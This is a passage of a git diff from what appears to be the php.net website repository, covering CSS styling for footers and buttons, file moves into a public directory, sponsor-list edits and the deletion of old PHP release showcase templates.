+.footer-credits { + padding-top: calc(var(--spacing) * 8) +} + +@media (min-width: 40rem) { + .footer-credits { + margin-top: calc(var(--spacing) * 20) + } +} + +@media (min-width: 64rem) { + .footer-credits { + margin-top: calc(var(--spacing) * 24) + } +} + +.footer-credits:where(.dark,.dark *) { + border-color: #ffffff1a +} + +@supports (color:color-mix(in lab, red, red)) { + .footer-credits:where(.dark,.dark *) { + border-color: color-mix(in oklab, var(--color-white) 10%, transparent) + } +} + +.footer-credits p { + font-size: var(--text-sm); + line-height: calc(var(--spacing) * 6); + color: var(--color-gray-600) +} + +.footer-credits p:where(.dark,.dark *) { + color: #fffc +} + +@supports (color:color-mix(in lab, red, red)) { + .footer-credits p:where(.dark,.dark *) { + color: color-mix(in oklab, var(--color-white) 80%, transparent) + } +} + +.noise { + pointer-events: none; + top: calc(var(--spacing) * 0); + opacity: .08; + width: 100%; + height: 100%; + position: absolute +} + +.noise:where(.dark,.dark *) { + opacity: .4 +} + +.badge-green { + border-radius: var(--radius-md); + background-color: var(--color-green-200); + padding-inline: calc(var(--spacing) * 1.5); + padding-block: calc(var(--spacing) * .5); + font-size: var(--text-xs); + line-height: var(--tw-leading, var(--text-xs--line-height)); + font-weight: var(--font-weight-medium); + color: var(--color-green-900); + align-items: center; + display: inline-flex +} + +.badge-green:where(.dark,.dark *) { + background-color: #05df721a +} + +@supports (color:color-mix(in lab, red, red)) { + .badge-green:where(.dark,.dark *) { + background-color: color-mix(in oklab, var(--color-green-400) 10%, transparent) + } +} + +.badge-green:where(.dark,.dark *) { + color: var(--color-green-400) +} + + +.php85 .phpcode code { + white-space: revert; +} + +.dark .php85 .phpcode::selection { + background-color: #333; +} + +.php85 .phpcode span.comment { + color: #708090; + background-color: transparent; + font-style: italic; +} + +.php85 .phpcode span.default { + color: rgb(213, 51, 84); + background-color: transparent; +} + +.php85 .phpcode span.variable { + color: #7d55ba; + background-color: transparent; +} + +.php85 .phpcode span.keyword { + color: #07a; + background-color: transparent; +} + +.php85 .phpcode span.string { + color: rgb(80, 119, 0); + background-color: transparent; +} + +.dark .php85 .phpcode span.comment { + color: #8b949e; + background-color: transparent; + font-style: italic; +} + +.dark .php85 .phpcode span.default { + color: #d2a8ff; + background-color: transparent; +} + +.dark .php85 .phpcode span.variable { + color: #a5d6ff; + background-color: transparent; +} + +.dark .php85 .phpcode span.keyword { + color: #ff7b72; + background-color: transparent; +} + +.dark .php85 .phpcode span.string { + color: #80b83c; + background-color: transparent; +} + +.php85 #layout-content a.button-primary { + min-height: calc(var(--spacing) * 10); + cursor: pointer; + width: 100%; + padding-inline: calc(var(--spacing) * 5); + font-size: var(--text-sm); + line-height: var(--tw-leading, var(--text-sm--line-height)); + font-weight: var(--font-weight-semibold); + color: var(--color-white); + background-color: #6b58ff; + border-radius: calc(infinity * 1px); + justify-content: center; + align-items: center; + text-decoration-line: none; + display: inline-flex; + position: relative; + overflow: hidden +} + +.php85 #layout-content a.button-primary--disabled { + opacity: .7; + cursor: not-allowed; +} + +@media (hover: hover) { + .php85 #layout-content a.button-primary:hover { + background-color: oklab(57.9656% .0459944 -.232052/.9) + } +} + +.php85 #layout-content a.button-primary:focus-visible { + outline-offset: 2px; + outline: var(--color-gray-800) var(--tw-outline-style) 2px; +} + +.php85 #layout-content a.button-primary:disabled { + pointer-events: none; + opacity: .9 +} + +@media (min-width: 40rem) { + .php85 #layout-content a.button-primary { + width: auto + } +} + +.php85 #layout-content a.button-secondary { + min-height: calc(var(--spacing) * 10); + cursor: pointer; + background-color: var(--color-white); + width: 100%; + padding-inline: calc(var(--spacing) * 5); + font-size: var(--text-sm); + line-height: var(--tw-leading, var(--text-sm--line-height)); + font-weight: var(--font-weight-semibold); + color: var(--color-gray-900); + --tw-shadow: 0 1px 2px 0 #0000000d; + --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); + box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); + --tw-ring-color: color-mix(in oklab, var(--color-gray-200) 50%, transparent); + border-radius: calc(infinity * 1px); + justify-content: center; + align-items: center; + text-decoration-line: none; + display: inline-flex; + position: relative; + overflow: hidden +} + +.php85 #layout-content a.button-secondary--disabled { + opacity: .7; + cursor: not-allowed; +} + +@media (hover: hover) { + .php85 #layout-content a.button-secondary:hover { + background-color: #f4f4f5f2 + } + + @supports (color:color-mix(in lab, red, red)) { + .php85 #layout-content a.button-secondary:hover { + background-color: color-mix(in oklab, var(--color-gray-100) 95%, transparent) + } + } +} + +.php85 #layout-content a.button-secondary:focus-visible { + outline-offset: 2px; + outline: var(--color-gray-800) var(--tw-outline-style) 2px; +} + +.php85 #layout-content a.button-secondary:disabled { + pointer-events: none; + opacity: .9 +} + +@media (min-width: 40rem) { + .php85 #layout-content a.button-secondary { + width: auto + } +} + +.php85 #layout-content a.button-secondary:where(.dark,.dark *) { + --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(0px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); + box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow) +} + +@property --tw-shadow { + syntax: "*"; + inherits: false; + initial-value: 0 0 #0000 +} + +@property --tw-inset-shadow { + syntax: "*"; + inherits: false; + initial-value: 0 0 #0000 +} + +@property --tw-ring-color { + syntax: "*"; + inherits: false +} + +@property --tw-ring-shadow { + syntax: "*"; + inherits: false; + initial-value: 0 0 #0000 +} + +@property --tw-inset-ring-shadow { + syntax: "*"; + inherits: false; + initial-value: 0 0 #0000 +} + +@property --tw-ring-inset { + syntax: "*"; + inherits: false +} + +@property --tw-ring-offset-width { + syntax: ""; + inherits: false; + initial-value: 0 +} + +@property --tw-ring-offset-shadow { + syntax: "*"; + inherits: false; + initial-value: 0 0 #0000 +} + +@property --tw-border-style { + syntax: "*"; + inherits: false; + initial-value: solid +} + +@property --tw-outline-style { + syntax: "*"; + inherits: false; + initial-value: solid +} + +@property --tw-leading { + syntax: "*"; + inherits: false +} + +@property --tw-space-y-reverse { + syntax: "*"; + inherits: false; + initial-value: 0 +} + +@property --tw-space-x-reverse { + syntax: "*"; + inherits: false; + initial-value: 0 +} diff --git a/styles/print.css b/public/styles/print.css similarity index 100% rename from styles/print.css rename to public/styles/print.css diff --git a/styles/prism.css b/public/styles/prism.css similarity index 100% rename from styles/prism.css rename to public/styles/prism.css diff --git a/styles/releases.css b/public/styles/releases.css similarity index 100% rename from styles/releases.css rename to public/styles/releases.css diff --git a/styles/rtl.css b/public/styles/rtl.css similarity index 100% rename from styles/rtl.css rename to public/styles/rtl.css diff --git a/public/styles/shared-footer.css b/public/styles/shared-footer.css new file mode 100644 index 0000000000..3f0de86d6c --- /dev/null +++ b/public/styles/shared-footer.css @@ -0,0 +1,265 @@ +/* + * Standalone, framework-free styling for the shared "fancy" footer + * (see include/shared-footer.inc -> fancy_footer()). + * + * This is the vanilla-CSS counterpart to the Tailwind build in php85.css that + * the release pages use. It is fully self-contained; every rule is scoped under + * `.php-footer` so it can sit at the bottom of a classic php.net page without + * leaking into, or inheriting from, the rest of that page's styles. + */ + +.php-footer { + --footer-fg: #ffffffcc; /* body / link text */ + --footer-fg-strong: #ffffff; /* headings, logo, hover */ + --footer-accent: #6b58ff; /* Donate button */ + --footer-accent-hover: #5a47e6; + --footer-border: #ffffff1a; + + isolation: isolate; + position: relative; + z-index: 10; + clear: both; + /* Transparent so the classic pages' dark-grey (#333) textured html + background shows through, blending the footer into the page. */ + background-color: transparent; + line-height: normal; + text-align: left; +} + +/* + * Match the width of the classic site chrome (#layout, .navbar__inner): + * fluid below 1200px, then fixed 1170px / 1440px, centered. + */ +.php-footer .footer-container { + width: auto; + max-width: none; + margin-inline: auto; + padding-inline: 1.5rem; + padding-top: 4rem; + padding-bottom: 2rem; + box-sizing: border-box; +} + +@media (min-width: 1200px) { + .php-footer .footer-container { + width: 1170px; + } +} + +@media (min-width: 1500px) { + .php-footer .footer-container { + width: 1440px; + } +} + +/* --- top grid: brand column + link columns ------------------------------ */ + +.php-footer .footer-grid > div > *:not(:last-child) { + margin-bottom: 2rem; +} + +.php-footer .footer-logo { + display: inline-block; + height: 2.5rem; + border: 0; + text-decoration: none; +} + +.php-footer .footer-logo svg { + display: inline-block; + height: 2.5rem; + width: auto; + color: var(--footer-fg-strong); +} + +.php-footer p { + margin: 0; + font-size: 0.875rem; + line-height: 1.5rem; + text-wrap: balance; + color: var(--footer-fg); +} + +.php-footer p a { + color: inherit; + text-decoration: underline; + text-underline-offset: 2px; + border: 0; +} + +.php-footer p a:hover { + color: var(--footer-fg-strong); +} + +/* --- social icons ------------------------------------------------------- */ + +.php-footer .social-icons { + display: flex; + column-gap: 1.5rem; +} + +.php-footer .social-icons a { + display: inline-flex; + color: var(--footer-fg); + border: 0; + text-decoration: none; +} + +.php-footer .social-icons a:hover { + color: var(--footer-fg-strong); +} + +.php-footer .social-icons svg { + width: 1.5rem; + height: 1.5rem; +} + +/* --- Donate button ------------------------------------------------------ */ + +.php-footer .button-primary { + display: inline-flex; + align-items: center; + justify-content: center; + box-sizing: border-box; + width: 100%; + min-height: 2.5rem; + padding-inline: 1.25rem; + font-size: 0.875rem; + font-weight: 600; + color: var(--footer-fg-strong); + background-color: var(--footer-accent); + border: 0; + border-radius: 9999px; + text-decoration: none; + cursor: pointer; +} + +.php-footer .button-primary:hover { + background-color: var(--footer-accent-hover); +} + +.php-footer .button-primary:focus-visible { + outline: 2px solid var(--footer-fg-strong); + outline-offset: 2px; +} + +/* --- link columns ------------------------------------------------------- */ + +.php-footer .footer-links-container { + margin-top: 4rem; + display: grid; + gap: 2rem; + grid-template-columns: repeat(2, minmax(0, 1fr)); +} + +.php-footer .footer-links-grid h3 { + margin: 0; + font-size: 0.875rem; + line-height: 1.5rem; + font-weight: 600; + color: var(--footer-fg-strong); +} + +.php-footer .footer-links-grid ul { + list-style: none; + margin: 1.5rem 0 0; + padding: 0; +} + +.php-footer .footer-links-grid li:not(:last-child) { + margin-bottom: 1rem; +} + +.php-footer .footer-links-grid a { + font-size: 0.875rem; + line-height: 1.5rem; + color: var(--footer-fg); + border: 0; + text-decoration: underline; + text-underline-offset: 2px; +} + +.php-footer .footer-links-grid a:hover { + color: var(--footer-fg-strong); +} + +.php-footer .footer-links-grid div:first-of-type { + margin-bottom: 2.5rem; +} + +/* --- copyright credits -------------------------------------------------- */ + +.php-footer .footer-credits { + margin-top: 0; + padding-top: 2rem; + border-top: 1px solid var(--footer-border); +} + +.php-footer .footer-credits p { + font-size: 0.875rem; + line-height: 1.5rem; + color: var(--footer-fg); +} + +.php-footer .footer-credits p a { + color: inherit; + text-decoration: underline; + text-underline-offset: 2px; +} + +/* --- accessibility helper (in case the host page lacks one) -------------- */ + +.php-footer .sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + margin: -1px; + overflow: hidden; + clip: rect(0, 0, 0, 0); + white-space: nowrap; + border: 0; +} + +/* --- responsive --------------------------------------------------------- */ + +@media (min-width: 40rem) { + .php-footer .button-primary { + width: auto; + } +} + +@media (min-width: 48rem) { + .php-footer .footer-links-grid { + display: grid; + gap: 2rem; + grid-template-columns: repeat(2, minmax(0, 1fr)); + } + + .php-footer .footer-links-grid div:first-of-type { + margin-bottom: 0; + } +} + +@media (min-width: 64rem) { + .php-footer .footer-container { + padding-top: 7rem; + } + + .php-footer .footer-credits { + margin-top: 6rem; + } +} + +@media (min-width: 80rem) { + .php-footer .footer-grid { + display: grid; + gap: 2rem; + grid-template-columns: repeat(3, minmax(0, 1fr)); + } + + .php-footer .footer-links-container { + margin-top: 0; + grid-column: span 2 / span 2; + } +} diff --git a/styles/supported-versions.css b/public/styles/supported-versions.css similarity index 100% rename from styles/supported-versions.css rename to public/styles/supported-versions.css diff --git a/styles/theme-base.css b/public/styles/theme-base.css similarity index 88% rename from styles/theme-base.css rename to public/styles/theme-base.css index e35c0e9edc..79cebfa04a 100644 --- a/styles/theme-base.css +++ b/public/styles/theme-base.css @@ -610,38 +610,6 @@ pre.info { #results_nav_list li.current { font-weight: bolder; } -/* Footer styling */ - -body > footer { - clear: both; - overflow: auto; - line-height:3rem; -} -body > footer .footer-content { - margin: 1.5rem auto 0 ; - padding:0 1.5rem; - -moz-box-sizing:border-box; - box-sizing:border-box; -} - -body > footer ul { - margin:0; - padding:0; -} - -body > footer .footmenu li { - display: inline-block; - margin:0 0.75rem; -} -body > footer a { - display:inline-block; - border-bottom:0; -} -body > footer a:hover, -body > footer a:focus { - color:var(--light-magenta-color); -} - /* {{{ ElePHPants photo stream */ div.elephpants { @@ -783,20 +751,50 @@ fieldset { .content-header .changelog { color:#369; } -.content-box .md5sum, .content-box .sha256 { +.content-box .sha256, +.downloads .sha256, +.downloads .sbom { display: block; font: normal 0.875rem/1.5rem "Fira Mono", "Source Code Pro", monospace; overflow: hidden; text-overflow: ellipsis; } -.content-box .md5sum:before { - content: "md5: "; - font-family: var(--font-family-sans-serif); -} -.content-box .sha256:before { +.content-box .sha256:before, +.downloads .sha256:before { content: "sha256: "; font-family: var(--font-family-sans-serif); } +.content-box .sha256-row, +.downloads .sha256-row { + display: flex; + align-items: center; + gap: 0.5rem; +} +.content-box .sha256-row .sha256, +.downloads .sha256-row .sha256 { + min-width: 0; +} +.content-box .sha256-copy, +.downloads .sha256-copy { + border: 1px solid var(--dark-blue-color); + border-radius: 30px; + background-color: var(--dark-blue-color); + color: #fff; + padding: 0.2rem 0.65rem; + font-size: 0.75rem; + line-height: 1rem; + cursor: pointer; + min-width: 4.25rem; + text-align: center; + white-space: nowrap; +} +.content-box .sha256-copy:hover, +.content-box .sha256-copy:focus, +.downloads .sha256-copy:hover, +.downloads .sha256-copy:focus { + border-color: var(--dark-magenta-color); + background-color: var(--dark-magenta-color); +} .content-box .releasedate { float: right; font-size: 0.9rem; @@ -973,7 +971,6 @@ div.tip p:first-child { .docs .qandaentry dt .phpcode * { font-weight: normal; } - /* }}} */ @@ -992,15 +989,20 @@ div.tip p:first-child { width: 100%; margin:0 0 1.5rem; } + .doctable thead tr, .segmentedlist thead tr { border:1px solid; } + .doctable tr, .segmentedlist tr { border:1px solid; } +.doctable caption { + line-height: 2rem; +} /* }}} */ /* {{{ lists */ @@ -1222,8 +1224,7 @@ div.soft-deprecation-notice blockquote.sidebar { #breadcrumbs-inner, #goto div, #trick div, - #layout, - body > footer .footer-content { + #layout { width:1170px; } } @@ -1233,8 +1234,7 @@ div.soft-deprecation-notice blockquote.sidebar { #breadcrumbs-inner, #goto div, #trick div, - #layout, - body > footer .footer-content { + #layout { width:1440px; } } @@ -1307,29 +1307,95 @@ div.soft-deprecation-notice blockquote.sidebar { #goto { display: none; - background-color: var(--dark-grey-color); - height: 100%; - width: 100%; - opacity: 0.9; position: fixed; - top: 64px; + inset: 0; z-index: 5000; color: #E6E6E6; + box-sizing: border-box; + overflow-y: auto; + padding: 0 1rem 1rem; + background-color: rgba(0, 0, 0, 0.65); +} +#goto div { + width: auto; +} +#goto .search { + width: min(100%, 52rem); + margin: 0 auto; + padding: 0.625rem clamp(1rem, 3vw, 1.75rem) 1rem; + box-sizing: border-box; + border: 1px solid rgba(255, 255, 255, 0.12); + border-radius: 1rem; + background-color: var(--dark-grey-color); + box-shadow: 0 1.25rem 3rem rgba(0, 0, 0, 0.35); +} +#goto .search .text { + display: block; + box-sizing: border-box; + width: 100%; + min-height: 2.5rem; + padding: 0.5rem 0.75rem; + color: #222; + font-size: 1rem; + line-height: 1.5; + border: 0; + border-radius: 0.5rem; + background-color: #fff; +} +#goto .search .text::placeholder { + color: #777; + opacity: 1; +} +#goto .search .text:focus { + outline: none; + box-shadow: none; } #goto .search .results { - text-shadow: 0 2px 3px #555; - font-size: 2rem; - line-height: 1; + margin-top: 1rem; + font-size: 1.125rem; + line-height: 1.5; } -#goto .search .results :focus { - font-size: 2rem; - line-height: 1.2; +#goto .search .results ul { + margin: 0; + padding: 0; + list-style: none; } -#goto .search .text { - color: #222; - text-shadow: 0 2px 3px #555; - font-size: 10rem; - line-height: .7; +#goto .search .results ul:empty::before { + content: "No matching pages found"; + display: block; + padding: 0.5rem 0.75rem; + color: rgba(255, 255, 255, 0.7); +} +#goto .search .text:placeholder-shown ~ .results ul:empty::before { + content: none; +} +#goto .search .results li + li { + margin-top: 0.25rem; +} +#goto .search .results a { + display: block; + padding: 0.65rem 0.75rem; + overflow-wrap: anywhere; + color: #E6E6E6; + text-decoration: none; + border-bottom: 0; + border-radius: 0.5rem; +} +#goto .search .results a:hover, +#goto .search .results a:focus { + color: #fff; + outline: 2px solid rgba(255, 255, 255, 0.45); + outline-offset: -2px; + background-color: rgba(255, 255, 255, 0.1); +} +@media (min-width: 992px) { + #goto { + padding-top: 1rem; + } + + #goto .search { + padding-top: 1.125rem; + } } #trick { display: none; @@ -1337,7 +1403,10 @@ div.soft-deprecation-notice blockquote.sidebar { height: 100%; width: 100%; position: fixed; - top: 64px; + top: 0; + overflow-y: auto; + -webkit-overflow-scrolling: touch; + overscroll-behavior: contain; z-index: 5000; } #goto div, @@ -1351,6 +1420,14 @@ div.soft-deprecation-notice blockquote.sidebar { display: inline-block; vertical-align: top; } +#trick dt { + margin: .5rem 0 .25rem; + line-height: 1.4; +} +#trick dd { + margin: 0 0 .75rem 1rem; + line-height: 1.6; +} #trick a { color: #E6E6E6; display: block; @@ -1487,6 +1564,11 @@ td { display: block; } + /* Prevent table titles from breaking into multiple lines */ + table caption { + display: inline; + } + /* Hide the table headers */ thead tr { position: absolute; @@ -1503,6 +1585,7 @@ td { border-bottom: 1px solid #eee; position: relative; } + td:before { left: -.50rem; top: -0.3rem; diff --git a/styles/theme-medium.css b/public/styles/theme-medium.css similarity index 99% rename from styles/theme-medium.css rename to public/styles/theme-medium.css index 1f1b9d142f..31bfb0c3be 100644 --- a/styles/theme-medium.css +++ b/public/styles/theme-medium.css @@ -467,7 +467,7 @@ div.warning a:focus { right: 0; bottom: 0; left: 0; - z-index: 1030; + z-index: 5001; justify-content: center; @@ -1004,7 +1004,7 @@ div.elephpants img:focus { .headsup { position: relative; padding:.25rem 0; - height:1.5rem; + height: auto; box-shadow: 0 2px 4px 0px rgba(0,0,0,.2); background-color: var(--dark-magenta-color); color:#fff; diff --git a/submit-event.php b/public/submit-event.php similarity index 97% rename from submit-event.php rename to public/submit-event.php index 7b5fdabed6..1ecb4bfedc 100644 --- a/submit-event.php +++ b/public/submit-event.php @@ -1,8 +1,8 @@ "community"]); // No errors, processing depends on POST data @@ -152,7 +152,7 @@ // Generate days and months arrays for form for ($i = 1; $i <= 7; $i++) { - $days[$i] = date('l', mktime(12, 0, 0, 4, $i)); + $days[$i] = date('l', mktime(12, 0, 0, 4, $i, 2012)); } for ($i = 1; $i <= 12; $i++) { $months[$i] = date('F', mktime(12, 0, 0, $i, 1)); diff --git a/support.php b/public/support.php similarity index 98% rename from support.php rename to public/support.php index 3f1848e60c..3cf04fd11e 100644 --- a/support.php +++ b/public/support.php @@ -1,6 +1,6 @@ diff --git a/supported-versions.php b/public/supported-versions.php similarity index 93% rename from supported-versions.php rename to public/supported-versions.php index 265630a1d3..9383106b73 100644 --- a/supported-versions.php +++ b/public/supported-versions.php @@ -1,10 +1,19 @@ ['supported-versions.css']]); +site_header( + 'Supported Versions', + [ + 'css' => ['supported-versions.css'], + 'cache_control' => 3 * 60 * 60, // 3 hours + ] +); // Version notes: if you need to make a note about a version having an unusual // support lifetime, add it under a heading with an anchor, and add the anchor diff --git a/thanks.php b/public/thanks.php similarity index 61% rename from thanks.php rename to public/thanks.php index 3f915a9514..15e6193363 100644 --- a/thanks.php +++ b/public/thanks.php @@ -1,7 +1,7 @@ "community"]); ?> @@ -24,7 +24,7 @@

    Myra Security -

    DDoS protection, along with hosting www.php.net and git.php.net for us.

    +

    DDoS protection, along with hosting our mail server for us.

    @@ -35,19 +35,7 @@
    SinnerG

    - Provides servers and bandwidth for svn.php.net, gtk.php.net, people.php.net and europe.rsync.php.net. -

    -
    - - -
  • - -
    - Directi -

    - Provides IP address to country lookup information. + Provides a server and bandwidth for rsync.php.net.

  • @@ -59,19 +47,7 @@
    DigitalOcean

    - Provides VMs for a number of PHP services. -

    -
    - - -
  • - -
    - Deft -

    - Provides a server and bandwidth for rsync.php.net. + Provides VMs and bandwidth for all PHP web services, and our rsync server.

  • @@ -83,55 +59,7 @@
    EUKhost

    - Provides a server and bandwidth for various php.net services. -

    -
    - - -
  • - -
    - Duocast -

    - Provides the servers and bandwidth used for buildbot testing and various Windows based servers. -

    -
    -
  • - -
  • - -
    - Bauer + Kirch GmbH -

    - Provides us with SSL certificates and a server and bandwidth for the php.net monitoring infrastructure. -

    -
    -
  • - -
  • - -
    - AppVeyor -

    - Provides continuous integration for Windows builds of PHP. -

    -
    -
  • - -
  • - -
    - Travis CI -

    - Provides continuous integration for builds of PHP. + Provides a server and bandwidth for various PEAR services.

  • @@ -145,21 +73,29 @@

    • - Yahoo! Inc. provided us with many many - terabytes of bandwidth and hosting for www.php.net, and svn.php.net and git.php.net - for many years. + AppVeyor provided continuous + integration for Windows builds of PHP.
    • - Synacor provided us with many - terabytes of bandwidth and hosting for www.php.net and others for - many years. + Bauer + Kirch GmbH provided us + with SSL certificates and a server and bandwidth for the php.net + monitoring infrastructure.
    • - VA Software Corp. helped us - by donating a server and resources to enable us to build manuals - and distribute our content via rsync. + Deft provided a server and + bandwidth for rsync.php.net. +
    • + +
    • + Directi provided IP address to + country lookup information. +
    • + +
    • + Duocast provided servers and + bandwidth used for buildbot testing and various Windows based servers.
    • @@ -198,10 +134,38 @@ servers and resources for various php.net services.
    • +
    • + SinnerG provided servers and bandwidth + for svn.php.net, gtk.php.net, and people.php.net. +
    • +
    • Spry VPS Hosting provided servers and resources for various php.net services.
    • + +
    • + Synacor provided us with many + terabytes of bandwidth and hosting for www.php.net and others for + many years. +
    • + +
    • + Travis CI provided continuous + integration for builds of PHP. +
    • + +
    • + VA Software Corp. helped us + by donating a server and resources to enable us to build manuals + and distribute our content via rsync. +
    • + +
    • + Yahoo! Inc. provided us with many many + terabytes of bandwidth and hosting for www.php.net, and svn.php.net and git.php.net + for many years. +

    diff --git a/unsub.php b/public/unsub.php similarity index 99% rename from unsub.php rename to public/unsub.php index c9bedac8a2..a4bbdcee45 100644 --- a/unsub.php +++ b/public/unsub.php @@ -1,6 +1,6 @@ Other PHP related mailing lists diff --git a/urlhowto.php b/public/urlhowto.php similarity index 91% rename from urlhowto.php rename to public/urlhowto.php index 64ceab1ec3..e6274da7c4 100644 --- a/urlhowto.php +++ b/public/urlhowto.php @@ -1,6 +1,6 @@ URL examples @@ -32,20 +32,12 @@ function a($href): void { ?> -

    Navigation tips&tricks

    +

    Navigation tips & tricks

    - When using the PHP.net website, there is even no need to get to + When using the PHP.net website, there is no need to use a search box to access the content you would like to see quickly. - You can use short PHP.net URLs to access pages directly. -

    - -

    - Note, that these shortcuts are expected to work on all mirror - sites, not just at the main site. If you find that some of these - shortcuts are not working on your mirror site, please report them - as a "PHP.net Website Problem" at - https://bugs.php.net/. + You can instead use short PHP.net URLs to access pages directly.

    diff --git a/releases/8.0/de.php b/releases/8.0/de.php deleted file mode 100644 index 45cb5470ed..0000000000 --- a/releases/8.0/de.php +++ /dev/null @@ -1,5 +0,0 @@ - -

    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    -
    -

    - - RFC - -

    -
    -
    -
    PHP 7
    -
    - -
    -
    -
    -
    -
    PHP 8
    -
    - -
    -
    -
    -
    -
      - -
    -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP 7
    -
    - -
    -
    -
    -
    -
    PHP 8
    -
    - -
    -
    -
    -
    -

    -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP 7
    -
    - x = $x; - $this->y = $y; - $this->z = $z; - } - } - PHP - );?> -
    -
    -
    -
    -
    PHP 8
    -
    - -
    -
    -
    -
    -

    -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP 7
    -
    - number = $number; - } - } - - new Number('NaN'); // - PHP - . ' ' . message('ok', $lang), - );?> -
    -
    -
    -
    -
    PHP 8
    -
    - -
    -
    -
    -
    -

    -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP 7
    -
    - {$ohNoText} - PHP - );?> -
    -
    -
    -
    -
    PHP 8
    -
    - "{$ohNoText}", - 8.0 => "{$expectedText}", - }; - //> {$expectedText} - PHP - );?> -
    -
    -
    -
    - -
    -
    - -
    -

    - - RFC -

    -
    -
    -
    PHP 7
    -
    - user; - - if ($user !== null) { - $address = $user->getAddress(); - - if ($address !== null) { - $country = $address->country; - } - } - } - PHP - );?> -
    -
    -
    -
    -
    PHP 8
    -
    - user?->getAddress()?->country; - PHP - );?> -
    -
    -
    -
    -

    -
    -
    - -
    -

    - - RFC -

    -
    -
    -
    PHP 7
    -
    - -
    -
    -
    -
    -
    PHP 8
    -
    - -
    -
    -
    -
    -

    -
    -
    - -
    -

    - - RFC -

    -
    -
    -
    PHP 7
    -
    - -
    -
    -
    -
    -
    PHP 8
    -
    - -
    -
    -
    -
    -

    -
    -
    -
    - -
    -

    -

    -

    -
    - Just-In-Time compilation -
    - -
    -
    -

    -
    - -
    -
    - -
    -

    -
    - -
    - -

    -
    - -
    -
    -
    -
    - - - - -
    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.1
    -
    - -
    -
    -
    -
    -
    PHP 8.1
    -
    - -
    -
    -
    -
    - -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.1
    -
    - status = $status; - } - - public function getStatus(): Status - { - return $this->status; - } -} -PHP - - );?> -
    -
    -
    -
    -
    PHP 8.1
    -
    - status = $status; - } -} -PHP - );?> -
    -
    -
    -
    - -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.1
    -
    - -
    -
    -
    -
    -
    PHP 8.1
    -
    - foo(...); - -$fn = strlen(...); -PHP - );?> -
    -
    -
    -
    - -
    -
    - -
    -

    - - RFC -

    -
    -
    -
    PHP < 8.1
    -
    - logger = $logger ?? new NullLogger(); - } -} -PHP - );?> -
    -
    -
    -
    -
    PHP 8.1
    -
    - logger = $logger; - } -} -PHP - );?> -
    -
    -
    - -
    - -
    -
    -
    -
    PHP < 8.1
    -
    - -
    -
    -
    -
    -
    PHP 8.1
    -
    - -
    -
    -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.1
    -
    - -
    -
    -
    -
    -
    PHP 8.1
    -
    - -
    -
    -
    -
    - -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.1
    -
    - -
    -
    -
    -
    -
    PHP 8.1
    -
    - -
    -
    -
    -
    - -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.1
    -
    - -
    -
    -
    -
    -
    PHP 8.1
    -
    - -
    -
    -
    -
    - -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.1
    -
    - -
    -
    -
    -
    -
    PHP 8.1
    -
    - -
    -
    -
    -
    - -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.1
    -
    - request('https://example.com/') - ->then(function (Response $response) { - return $response->getBody()->buffer(); - }) - ->then(function (string $responseBody) { - print json_decode($responseBody)['code']; - }); -PHP - - );?> -
    -
    -
    -
    -
    PHP 8.1
    -
    - request('https://example.com/'); -print json_decode($response->getBody()->buffer())['code']; -PHP - );?> -
    -
    -
    -
    - -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.1
    -
    - 1]; -$arrayB = ['b' => 2]; - -$result = array_merge(['a' => 0], $arrayA, $arrayB); - -// ['a' => 1, 'b' => 2] -PHP - );?> -
    -
    -
    -
    -
    PHP 8.1
    -
    - 1]; -$arrayB = ['b' => 2]; - -$result = ['a' => 0, ...$arrayA, ...$arrayB]; - -// ['a' => 1, 'b' => 2] -PHP - );?> -
    -
    -
    -
    - -
    -
    -
    - -
    -
    -

    -
    -
    - -
    - -
    -
    -

    -
      -
    • -
    • -
    -

    -
      -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    -
    -
    - -
    -

    -
    -
      -
    • -
    • -
    • -
    • -
    -
    -

    -
    -
      -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    • -
    -
    -
    -
    - - - - -
    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    -
    -
    - -
    -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.2
    -
    - title = $title; - $this->status = $status; - } -} -PHP - - ); ?> -
    -
    -
    -
    -
    PHP 8.2
    -
    - title = $title; - $this->status = $status; - } -} -PHP - ); ?> -
    -
    -
    -
    - -
    -

    - - RFC - -

    -
    -
    -
    PHP < 8.2
    -
    - -
    -
    -
    -
    -
    PHP 8.2
    -
    - -
    -
    -
    -
    -
    - -
    - -
    -

    - - RFC - RFC -

    -
    -
    -
    PHP < 8.2
    -
    - -
    -
    -
    -
    -
    PHP 8.2
    -
    - -
    -
    -
    -
    - -
    -

    - - RFC - RFC - -

    -
    -
    -
    PHP 8.2
    -
